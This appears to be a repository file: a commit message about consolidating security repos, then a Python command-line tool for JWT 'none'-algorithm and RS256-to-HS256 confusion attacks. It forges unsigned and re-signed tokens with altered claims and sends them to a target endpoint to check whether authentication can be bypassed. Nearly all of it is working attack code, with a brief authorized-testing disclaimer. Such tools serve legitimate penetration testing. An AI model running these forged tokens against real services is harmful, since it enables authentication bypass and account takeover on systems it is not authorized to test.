Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

165 lines
6.9 KiB
Python

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing JWT 'none' algorithm attack testing."""
import json
import argparse
import base64
import hmac
import hashlib
from datetime import datetime
def b64url_encode(data):
"""Base64url encode bytes."""
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def b64url_decode(s):
"""Base64url decode string."""
s += "=" * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
def decode_jwt(token):
"""Decode and display JWT components without verification."""
parts = token.split(".")
if len(parts) not in (2, 3):
return {"error": "Invalid JWT format — expected 2 or 3 parts"}
header = json.loads(b64url_decode(parts[0]))
payload = json.loads(b64url_decode(parts[1]))
signature = parts[2] if len(parts) == 3 else ""
vuln_checks = {
"alg_none_in_header": header.get("alg", "").lower() in ("none", ""),
"alg_symmetric": header.get("alg", "").startswith("HS"),
"no_expiry": "exp" not in payload,
"expired": payload.get("exp", float("inf")) < datetime.utcnow().timestamp() if "exp" in payload else False,
"no_issuer": "iss" not in payload,
}
return {"header": header, "payload": payload, "signature_present": bool(signature), "vulnerability_checks": vuln_checks}
def forge_none_token(token, modify_claims=None):
"""Forge a JWT with 'none' algorithm (removes signature)."""
parts = token.split(".")
payload = json.loads(b64url_decode(parts[0]))
claims = json.loads(b64url_decode(parts[1]))
if modify_claims:
claims.update(modify_claims)
none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
new_payload = b64url_encode(json.dumps(claims).encode())
variants = [
{"name": "alg_none", "token": f"{none_header}.{new_payload}."},
{"name": "alg_None", "token": f"{b64url_encode(json.dumps({'alg': 'None', 'typ': 'JWT'}).encode())}.{new_payload}."},
{"name": "alg_NONE", "token": f"{b64url_encode(json.dumps({'alg': 'NONE', 'typ': 'JWT'}).encode())}.{new_payload}."},
{"name": "alg_nOnE", "token": f"{b64url_encode(json.dumps({'alg': 'nOnE', 'typ': 'JWT'}).encode())}.{new_payload}."},
{"name": "empty_sig", "token": f"{none_header}.{new_payload}"},
{"name": "no_dot", "token": f"{none_header}.{new_payload}"},
]
return {
"original_claims": json.loads(b64url_decode(parts[1])),
"modified_claims": claims,
"forged_tokens": variants,
}
def test_alg_confusion(token, public_key_file=None):
"""Test algorithm confusion (RS256 -> HS256 using public key as HMAC secret)."""
parts = token.split(".")
header = json.loads(b64url_decode(parts[0]))
claims = json.loads(b64url_decode(parts[1]))
results = {"original_alg": header.get("alg"), "tests": []}
if public_key_file:
try:
pubkey = open(public_key_file, "rb").read()
hs256_header = b64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload_b64 = b64url_encode(json.dumps(claims).encode())
signing_input = f"{hs256_header}.{payload_b64}".encode()
signature = b64url_encode(hmac.new(pubkey, signing_input, hashlib.sha256).digest())
results["tests"].append({
"name": "RS256_to_HS256_confusion",
"forged_token": f"{hs256_header}.{payload_b64}.{signature}",
"description": "Uses RSA public key as HMAC-SHA256 secret",
})
except Exception as e:
results["tests"].append({"name": "RS256_to_HS256_confusion", "error": str(e)})
none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload_b64 = b64url_encode(json.dumps(claims).encode())
results["tests"].append({
"name": "alg_none_downgrade",
"forged_token": f"{none_header}.{payload_b64}.",
"description": "Downgrade to 'none' algorithm — removes signature",
})
return results
def test_jwt_endpoint(url, original_token, forged_tokens, headers=None):
"""Test forged JWTs against a target endpoint."""
try:
import requests
except ImportError:
return {"error": "requests not installed"}
hdrs = headers or {}
results = []
for ft in forged_tokens:
test_headers = {**hdrs, "Authorization": f"Bearer {ft['token']}"}
try:
resp = requests.get(url, headers=test_headers, timeout=10)
accepted = resp.status_code in (200, 201, 204)
results.append({
"variant": ft["name"], "status": resp.status_code,
"accepted": accepted, "body_snippet": resp.text[:200],
})
except Exception as e:
results.append({"variant": ft["name"], "error": str(e)})
orig_resp = None
try:
resp = requests.get(url, headers={**hdrs, "Authorization": f"Bearer {original_token}"}, timeout=10)
orig_resp = {"status": resp.status_code, "body_length": len(resp.text)}
except Exception:
pass
vulnerable = [r for r in results if r.get("accepted")]
return {
"url": url, "original_response": orig_resp,
"tests": results, "vulnerable_variants": len(vulnerable),
"finding": "JWT_NONE_VULNERABLE" if vulnerable else "JWT_NONE_REJECTED",
"severity": "CRITICAL" if vulnerable else "INFO",
}
def main():
parser = argparse.ArgumentParser(description="JWT None Algorithm Attack Agent")
sub = parser.add_subparsers(dest="command")
d = sub.add_parser("decode", help="Decode JWT token")
d.add_argument("--token", required=True)
f = sub.add_parser("forge", help="Forge none-algorithm token")
f.add_argument("--token", required=True)
f.add_argument("--claims", help="JSON claims to modify")
c = sub.add_parser("confuse", help="Test algorithm confusion")
c.add_argument("--token", required=True)
c.add_argument("--pubkey", help="RSA public key file for HS256 confusion")
t = sub.add_parser("test", help="Test forged tokens against endpoint")
t.add_argument("--url", required=True)
t.add_argument("--token", required=True)
args = parser.parse_args()
if args.command == "decode":
result = decode_jwt(args.token)
elif args.command == "forge":
claims = json.loads(args.claims) if args.claims else None
result = forge_none_token(args.token, claims)
elif args.command == "confuse":
result = test_alg_confusion(args.token, args.pubkey)
elif args.command == "test":
forged = forge_none_token(args.token)
result = test_jwt_endpoint(args.url, args.token, forged["forged_tokens"])
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()